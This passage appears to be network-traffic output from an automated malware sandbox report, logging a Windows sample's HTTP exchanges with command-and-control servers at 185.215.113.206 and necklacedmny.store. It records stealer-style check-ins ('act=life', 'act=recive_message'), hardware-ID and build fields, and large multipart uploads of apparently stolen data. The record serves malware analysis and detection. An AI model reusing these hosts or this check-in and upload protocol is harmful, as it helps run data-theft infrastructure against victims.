Nov 1, 2024 03:47:16.534234047 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:47:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 03:47:16.539237022 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCFHIDAKECFHIEBFCGI Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 33 30 43 31 30 38 45 45 30 37 34 31 37 30 30 36 36 32 33 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 2d 2d 0d 0a Data Ascii: ------DGCFHIDAKECFHIEBFCGIContent-Disposition: form-data; name="hwid"CD30C108EE07417006623------DGCFHIDAKECFHIEBFCGIContent-Disposition: form-data; name="build"tale------DGCFHIDAKECFHIEBFCGI--
Nov 1, 2024 03:47:16.818034887 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:47:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	188.114.97.3	443	2976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:45:06 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-11-01 02:45:06 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-01 02:45:07 UTC	1015	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=apflhnjkagokhpcrhm83dl2v5o; expires=Mon, 24-Feb-2025 20:31:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q1f2qLbiMiVNJGmsPSTzBQgEFv%2BAucXuUPZeTyZCIMMaK%2BjB7lT7sQKepuEP0d36keKuONS2e9kFZqi%2FEQ1VbKf%2FSZkB98tsN811pVtMVhyJchAROdoVOERZrhEhJrFDFDCa00w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88bfe79efe81b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1181&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=2367947&cwnd=239&unsent_bytes=0&cid=a7df6973833c625e&ts=545&x=0"
2024-11-01 02:45:07 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-01 02:45:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49710	188.114.97.3	443	2976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:45:08 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-11-01 02:45:08 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-11-01 02:45:09 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pe3afggm0gmbq7b70tr9g3h0gq; expires=Mon, 24-Feb-2025 20:31:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J1j9p%2BxMbGw7uaFvNpDCyUr%2Bps7rvzgdDHQ8ak%2BR9zPHrf7tZ%2BlDV7Gv646AUipC%2Fzn2bWWyCAipy0UzjZnq5s1cGim0TvJh0tCfsYaVjvWJGKPb0Yw3Uar1KVgxZmOvY5M7Bhw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88c0b7b584779-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1225&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2389438&cwnd=251&unsent_bytes=0&cid=8240214947a87173&ts=1419&x=0"
2024-11-01 02:45:09 UTC	351	IN	Data Raw: 34 64 63 0d 0a 69 5a 4c 4e 44 4a 42 52 4e 59 34 53 4f 46 67 46 50 75 36 4b 4b 6b 48 52 73 58 38 59 6a 73 34 65 4a 30 44 67 4b 76 34 38 78 45 58 79 73 4c 73 75 71 6d 55 5a 72 47 46 64 65 6a 39 4b 6e 50 39 50 62 66 50 51 47 7a 71 30 71 48 39 4c 4d 34 55 47 33 45 71 70 5a 37 50 30 72 47 44 6a 4e 42 6d 73 64 30 42 36 50 32 57 56 71 45 38 76 38 34 74 64 66 65 53 73 66 30 73 69 67 55 47 52 54 4b 67 6d 34 66 36 71 5a 50 55 79 55 65 39 2b 56 54 31 67 57 34 2f 67 52 43 69 38 32 52 49 36 6f 75 78 37 58 57 4c 61 43 4c 4e 5a 73 43 54 45 38 37 35 6e 73 69 77 5a 39 54 42 64 4e 69 63 45 7a 4f 74 50 49 37 33 58 47 33 50 6d 70 6e 5a 44 49 34 52 41 6a 6c 57 69 4c 65 48 77 71 57 58 2f 4f 30 58 69 64 46 49 32 5a 6c 47 50 71 41 5a 6a 74 4d 74 64 49 71 7a 2f 54 6b 59 7a 6b 31 Data Ascii: 4dciZLNDJBRNY4SOFgFPu6KKkHRsX8Yjs4eJ0DgKv48xEXysLsuqmUZrGFdej9KnP9PbfPQGzq0qH9LM4UG3EqpZ7P0rGDjNBmsd0B6P2WVqE8v84tdfeSsf0sigUGRTKgm4f6qZPUyUe9+VT1gW4/gRCi82RI6oux7XWLaCLNZsCTE875nsiwZ9TBdNicEzOtPI73XG3PmpnZDI4RAjlWiLeHwqWX/O0XidFI2ZlGPqAZjtMtdIqz/TkYzk1
2024-11-01 02:45:09 UTC	900	IN	Data Raw: 44 7a 50 6c 66 2b 65 46 45 78 59 6b 36 48 34 55 55 75 73 39 34 58 64 65 2b 73 65 30 38 6f 6a 55 4b 59 55 36 73 68 36 2f 44 76 49 4c 49 30 54 36 77 6f 47 68 6c 69 54 49 76 6b 58 6d 47 4a 6b 77 49 30 39 65 78 37 53 57 4c 61 43 4a 52 62 70 53 54 67 2f 36 78 6d 2b 53 46 58 2f 6e 5a 58 50 33 56 61 69 65 5a 43 49 4b 48 5a 45 33 7a 76 70 58 64 4d 4a 34 56 4d 33 42 44 6d 49 50 4f 77 39 79 37 54 50 6c 7a 67 65 6b 30 36 4a 30 50 43 38 51 67 6b 76 35 4e 46 4f 75 69 74 65 45 51 6d 6a 45 61 59 55 71 41 70 35 76 2b 70 5a 50 49 30 58 65 52 34 57 7a 64 73 55 34 7a 74 52 53 65 31 33 78 78 2f 72 4f 49 38 51 6a 72 43 45 4e 78 77 6f 53 54 35 73 70 70 74 2f 44 31 51 2b 6a 42 46 64 48 34 63 69 2b 51 49 65 2f 50 64 47 48 58 2b 72 57 35 41 4c 4a 42 45 6d 56 69 72 4a 4f 58 77 71 Data Ascii: DzPlf+eFExYk6H4UUus94Xde+se08ojUKYU6sh6/DvILI0T6woGhliTIvkXmGJkwI09ex7SWLaCJRbpSTg/6xm+SFX/nZXP3VaieZCIKHZE3zvpXdMJ4VM3BDmIPOw9y7TPlzgek06J0PC8Qgkv5NFOuiteEQmjEaYUqAp5v+pZPI0XeR4WzdsU4ztRSe13xx/rOI8QjrCENxwoST5sppt/D1Q+jBFdH4ci+QIe/PdGHX+rW5ALJBEmVirJOXwq
2024-11-01 02:45:09 UTC	1369	IN	Data Raw: 33 66 39 30 0d 0a 50 6c 6a 6c 65 56 4d 6f 62 56 43 43 2b 6b 55 70 74 74 30 52 66 2b 4f 73 66 55 51 73 69 45 50 63 45 4f 59 67 38 37 44 33 4c 74 30 2b 52 2f 35 36 55 53 73 6c 61 59 2f 6d 52 69 53 6c 6b 77 49 30 39 65 78 37 53 57 4c 61 43 4a 64 59 71 69 76 72 39 72 31 67 2f 53 46 64 2f 6e 52 55 50 6d 74 53 68 65 56 48 4a 71 48 58 48 57 6a 74 71 58 74 4c 4c 35 42 4e 33 42 44 6d 49 50 4f 77 39 79 37 49 42 31 44 38 59 56 31 34 55 6c 2b 43 35 6b 38 31 38 38 78 54 59 36 79 72 63 41 56 36 77 6b 75 51 55 36 38 69 35 4f 4b 6c 59 76 4d 68 55 4f 56 35 55 44 74 70 55 34 66 6b 54 54 47 34 33 42 56 31 37 61 46 78 54 69 61 43 43 4e 49 65 6f 54 2b 72 71 4f 39 50 2f 7a 78 46 37 32 45 59 44 32 52 53 67 75 39 65 59 36 79 64 42 44 72 72 6f 44 77 64 59 6f 4e 45 6b 46 2b 70 49 Data Ascii: 3f90PljleVMobVCC+kUptt0Rf+OsfUQsiEPcEOYg87D3Lt0+R/56USslaY/mRiSlkwI09ex7SWLaCJdYqivr9r1g/SFd/nRUPmtSheVHJqHXHWjtqXtLL5BN3BDmIPOw9y7IB1D8YV14Ul+C5k8188xTY6yrcAV6wkuQU68i5OKlYvMhUOV5UDtpU4fkTTG43BV17aFxTiaCCNIeoT+rqO9P/zxF72EYD2RSgu9eY6ydBDrroDwdYoNEkF+pI
2024-11-01 02:45:09 UTC	1369	IN	Data Raw: 6c 2b 54 64 54 37 48 31 52 4e 47 6c 56 67 4f 42 45 4a 4b 48 65 47 48 4c 6d 70 58 6c 4a 4c 34 46 61 6e 31 2f 6d 61 61 76 33 74 79 36 71 63 33 44 66 52 33 6c 36 65 42 4b 56 71 45 38 76 38 34 74 64 65 2b 53 72 63 6b 45 77 6a 46 71 53 57 61 59 68 34 2f 69 6f 59 76 77 39 52 65 52 78 57 6a 52 6f 56 49 58 73 53 53 65 33 33 78 6f 36 6f 75 78 37 58 57 4c 61 43 4c 52 64 76 44 32 70 33 71 52 75 39 53 4e 42 39 7a 42 46 64 48 34 63 69 2b 51 49 65 2f 50 58 46 6e 44 6c 72 33 56 42 4c 34 4a 42 6b 31 65 75 4b 75 50 69 72 6d 54 67 4e 31 4c 74 66 31 41 2b 62 31 43 44 35 45 77 78 75 4a 4e 54 4f 75 75 30 50 42 31 69 6f 6b 4f 4b 66 62 51 31 71 2b 2f 68 64 37 49 30 57 36 77 6f 47 6a 4e 72 58 59 33 69 54 69 69 32 33 68 31 2f 35 71 74 77 52 53 4b 42 54 70 70 54 72 69 2f 6e 2f 4b Data Ascii: l+TdT7H1RNGlVgOBEJKHeGHLmpXlJL4Fan1/maav3ty6qc3DfR3l6eBKVqE8v84tde+SrckEwjFqSWaYh4/ioYvw9ReRxWjRoVIXsSSe33xo6oux7XWLaCLRdvD2p3qRu9SNB9zBFdH4ci+QIe/PXFnDlr3VBL4JBk1euKuPirmTgN1Ltf1A+b1CD5EwxuJNTOuu0PB1iokOKfbQ1q+/hd7I0W6woGjNrXY3iTii23h1/5qtwRSKBTppTri/n/K
2024-11-01 02:45:09 UTC	1369	IN	Data Raw: 58 2b 64 32 56 44 74 68 55 49 47 6f 42 6d 4f 30 79 31 30 69 72 49 74 6d 53 43 53 56 57 61 6c 5a 70 6e 61 72 37 2b 46 33 73 6a 52 62 72 43 67 61 4e 32 74 57 67 65 31 4d 4b 37 54 51 48 48 62 6f 6f 58 46 42 4b 34 5a 4e 6a 6b 79 67 4b 65 76 2f 6f 57 48 2b 49 56 6e 70 63 46 5a 36 4b 52 79 4c 38 41 68 37 38 2b 49 4b 65 71 79 7a 4d 6c 78 69 68 55 54 63 42 75 59 6f 35 75 4b 6a 59 66 49 79 56 4f 68 37 58 54 78 68 58 59 2f 74 53 79 61 31 30 68 31 32 35 71 74 30 54 79 79 50 54 70 68 59 6f 47 65 6c 73 4b 68 32 73 6d 73 58 33 6e 31 55 4d 32 52 61 67 66 35 67 45 76 50 4d 55 32 4f 73 71 33 41 46 65 73 4a 4d 6c 31 61 71 49 75 50 31 72 6d 62 34 4f 31 6a 6a 59 6c 73 31 62 6c 75 48 35 55 63 74 74 74 30 50 66 65 65 6e 64 45 77 73 68 41 6a 53 48 71 45 2f 71 36 6a 76 57 50 45 Data Ascii: X+d2VDthUIGoBmO0y10irItmSCSVWalZpnar7+F3sjRbrCgaN2tWge1MK7TQHHbooXFBK4ZNjkygKev/oWH+IVnpcFZ6KRyL8Ah78+IKeqyzMlxihUTcBuYo5uKjYfIyVOh7XTxhXY/tSya10h125qt0TyyPTphYoGelsKh2smsX3n1UM2Ragf5gEvPMU2Osq3AFesJMl1aqIuP1rmb4O1jjYls1bluH5Ucttt0PfeendEwshAjSHqE/q6jvWPE
2024-11-01 02:45:09 UTC	1369	IN	Data Raw: 46 34 30 64 56 32 44 71 41 5a 6a 74 4d 74 64 49 71 79 64 61 6b 49 6c 6a 51 71 31 57 62 30 6d 34 66 4f 6b 59 72 49 73 47 66 55 77 58 54 59 6e 42 4d 7a 6c 52 43 36 33 77 52 46 36 37 4b 56 37 54 7a 43 4e 52 35 46 64 70 69 4c 35 38 62 31 68 2b 54 5a 55 36 48 39 56 4e 6d 39 57 7a 4b 59 49 4a 4b 75 54 52 54 72 41 72 32 31 50 59 4b 56 53 69 6c 6d 71 4e 75 44 39 6f 79 37 74 66 55 36 73 64 31 5a 36 50 78 79 4d 36 55 55 78 74 74 49 58 63 4f 47 6b 63 30 41 6e 6a 55 79 59 56 61 67 31 35 66 2b 76 61 50 6b 79 55 75 39 37 55 44 52 75 54 73 79 6d 43 43 53 72 6b 30 55 36 78 72 64 39 53 43 37 41 5a 70 64 49 6f 57 58 4b 2f 71 52 70 2f 69 55 58 38 7a 35 44 65 6d 42 51 7a 4c 41 49 4b 72 33 66 48 6e 33 6b 70 48 6c 46 4b 59 4a 48 6c 6c 43 68 4e 65 48 38 70 58 7a 39 4d 46 72 6f Data Ascii: F40dV2DqAZjtMtdIqydakIljQq1Wb0m4fOkYrIsGfUwXTYnBMzlRC63wRF67KV7TzCNR5FdpiL58b1h+TZU6H9VNm9WzKYIJKuTRTrAr21PYKVSilmqNuD9oy7tfU6sd1Z6PxyM6UUxttIXcOGkc0AnjUyYVag15f+vaPkyUu97UDRuTsymCCSrk0U6xrd9SC7AZpdIoWXK/qRp/iUX8z5DemBQzLAIKr3fHn3kpHlFKYJHllChNeH8pXz9MFro
2024-11-01 02:45:09 UTC	1369	IN	Data Raw: 34 63 69 2b 51 49 65 2f 50 54 47 58 62 76 71 33 4a 4b 4c 34 31 50 6c 31 47 73 4b 66 6e 2f 71 6d 62 2b 4f 31 72 2b 65 6c 41 6f 62 6c 57 42 35 6b 41 78 73 4a 4e 54 4f 75 75 30 50 42 31 69 73 45 4b 66 55 72 41 71 35 4c 43 77 49 4f 74 7a 55 4f 41 77 41 6e 70 31 54 6f 7a 6a 53 43 53 39 77 52 78 79 34 36 5a 38 51 79 6d 49 53 35 56 61 71 43 37 74 38 61 4a 76 38 7a 4e 53 37 48 6c 49 4e 79 63 53 7a 4f 39 51 59 2b 75 54 4b 6e 62 6e 6e 58 39 54 59 70 30 47 68 52 36 68 4b 36 75 6f 37 32 2f 67 50 6c 2f 6f 63 46 63 38 62 46 32 4e 36 30 67 6a 73 4e 4d 59 63 65 4f 71 65 30 67 6f 69 30 47 4f 56 71 49 31 36 2f 79 72 4c 72 78 7a 55 50 51 77 41 6e 70 58 58 34 66 6b 53 43 36 6d 6b 77 49 30 39 65 78 37 53 57 4c 61 43 4a 52 56 72 53 48 67 38 36 78 67 2b 54 6c 59 34 33 70 63 50 Data Ascii: 4ci+QIe/PTGXbvq3JKL41Pl1GsKfn/qmb+O1r+elAoblWB5kAxsJNTOuu0PB1isEKfUrAq5LCwIOtzUOAwAnp1TozjSCS9wRxy46Z8QymIS5VaqC7t8aJv8zNS7HlINycSzO9QY+uTKnbnnX9TYp0GhR6hK6uo72/gPl/ocFc8bF2N60gjsNMYceOqe0goi0GOVqI16/yrLrxzUPQwAnpXX4fkSC6mkwI09ex7SWLaCJRVrSHg86xg+TlY43pcP
2024-11-01 02:45:09 UTC	1369	IN	Data Raw: 6c 51 79 2f 78 30 68 42 71 36 2b 77 79 42 53 54 43 45 4d 77 51 35 69 50 36 73 50 63 2b 6f 47 67 43 76 79 63 4b 61 48 67 53 6c 61 68 65 59 2b 75 42 55 7a 72 2b 37 43 51 46 5a 59 46 61 6a 6c 69 6c 4d 65 69 33 6b 56 44 53 4f 46 76 76 66 46 73 39 4a 78 4c 4d 35 77 68 37 69 70 4d 65 61 50 37 6a 62 56 4d 76 6b 6b 2f 51 56 72 63 71 35 37 44 68 4c 72 34 33 58 4f 42 31 58 53 6f 6f 54 70 7a 6a 52 44 58 2f 31 77 38 36 6f 75 78 74 54 69 32 51 52 70 73 52 74 7a 48 6d 34 4b 78 72 39 58 39 66 2f 58 31 57 65 69 6b 63 6d 65 4e 45 4a 62 37 47 55 6d 76 36 72 32 70 43 62 6f 70 5a 6b 56 4c 6d 47 4b 57 77 74 79 36 71 63 32 4c 76 66 6c 51 39 63 55 33 42 79 45 4d 76 73 4e 38 63 66 61 7a 69 50 45 4e 69 32 68 76 53 48 71 49 32 71 36 6a 2f 50 4b 6c 6d 42 4c 73 67 43 43 55 70 52 63 Data Ascii: lQy/x0hBq6+wyBSTCEMwQ5iP6sPc+oGgCvycKaHgSlaheY+uBUzr+7CQFZYFajlilMei3kVDSOFvvfFs9JxLM5wh7ipMeaP7jbVMvkk/QVrcq57DhLr43XOB1XSooTpzjRDX/1w86ouxtTi2QRpsRtzHm4Kxr9X9f/X1WeikcmeNEJb7GUmv6r2pCbopZkVLmGKWwty6qc2LvflQ9cU3ByEMvsN8cfaziPENi2hvSHqI2q6j/PKlmBLsgCCUpRc
2024-11-01 02:45:09 UTC	1369	IN	Data Raw: 36 34 42 54 4f 76 37 73 4a 41 56 6c 6a 45 57 64 58 61 67 6b 2b 65 4b 70 62 65 51 77 45 4e 4a 4f 66 7a 64 71 57 59 4c 76 64 68 32 53 32 51 31 33 34 36 74 43 65 78 57 54 54 34 77 63 67 43 54 39 38 2b 38 67 73 69 73 58 74 44 42 37 4d 48 64 52 67 2b 38 49 62 66 50 58 58 53 4b 73 69 58 46 49 4a 34 78 50 33 6e 2b 73 4e 2b 62 2f 71 43 36 38 63 31 75 73 4b 42 6f 37 62 55 79 42 35 30 39 76 74 4d 6b 61 4f 71 4c 73 63 67 56 36 77 6b 6d 57 54 71 73 6f 37 4c 79 70 59 50 78 7a 53 4b 4a 70 47 69 77 6e 42 4e 2b 6d 43 44 48 7a 69 31 30 39 34 71 46 39 52 69 79 42 57 6f 35 59 70 54 48 6f 74 35 46 51 31 7a 35 61 36 58 35 64 42 46 6c 39 68 76 68 46 4c 4c 53 52 50 58 33 36 72 30 4a 37 46 5a 4e 50 6a 42 79 41 4a 50 33 7a 37 79 43 79 4b 78 65 30 4d 48 73 77 64 31 47 44 37 77 6f Data Ascii: 64BTOv7sJAVljEWdXagk+eKpbeQwENJOfzdqWYLvdh2S2Q1346tCexWTT4wcgCT98+8gsisXtDB7MHdRg+8IbfPXXSKsiXFIJ4xP3n+sN+b/qC68c1usKBo7bUyB509vtMkaOqLscgV6wkmWTqso7LypYPxzSKJpGiwnBN+mCDHzi1094qF9RiyBWo5YpTHot5FQ1z5a6X5dBFl9hvhFLLSRPX36r0J7FZNPjByAJP3z7yCyKxe0MHswd1GD7wo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49712	188.114.97.3	443	2976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:45:10 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: necklacedmny.store
2024-11-01 02:45:10 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 36 30 35 32 32 41 45 44 34 30 42 43 32 32 33 41 37 30 45 46 33 44 43 41 42 44 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5560522AED40BC223A70EF3DCABDFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 02:45:11 UTC	1016	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ojaaiocq3rcv305jnm3fcksot8; expires=Mon, 24-Feb-2025 20:31:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FbbaUpqdWQ%2FkB6o8x7Zq2ch0%2F1xCYKk%2FXkJKycGUYpZBrwCcbyZf1KeTlIyO7uop8MLHlxcALo74hsocX3Ebhnt6sE4t62djDes5xpGcWJMGIxWGVAxBQGmd9nV1FGJ5HafHy24%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88c13f9cbe7e3-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1898&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2844&recv_bytes=13806&delivery_rate=1537154&cwnd=245&unsent_bytes=0&cid=70cea84105644c59&ts=821&x=0"
2024-11-01 02:45:11 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 02:45:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49713	188.114.97.3	443	2976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:45:11 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: necklacedmny.store
2024-11-01 02:45:11 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 36 30 35 32 32 41 45 44 34 30 42 43 32 32 33 41 37 30 45 46 33 44 43 41 42 44 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5560522AED40BC223A70EF3DCABDFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 02:45:12 UTC	1014	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4ndlf18k2frmq9eclqrb8i5c03; expires=Mon, 24-Feb-2025 20:31:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kp%2FHCh1S03VdzEpFm0LksnrKhUTXNp03nmvm0xi9C25I2VOHPd%2BFyFjdO6EbOBYLSoDD0x8rpl8f0Y6agQiHvRZwzHTWTZprVygJa5PNxPW7oyNkDPERnVTW3C6DtVvLUbJa1e0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88c1d6fcee7d3-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1249&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2846&recv_bytes=16052&delivery_rate=2437710&cwnd=231&unsent_bytes=0&cid=7a1f9f067da9357b&ts=570&x=0"
2024-11-01 02:45:12 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 02:45:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49714	188.114.97.3	443	2976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:45:13 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: necklacedmny.store
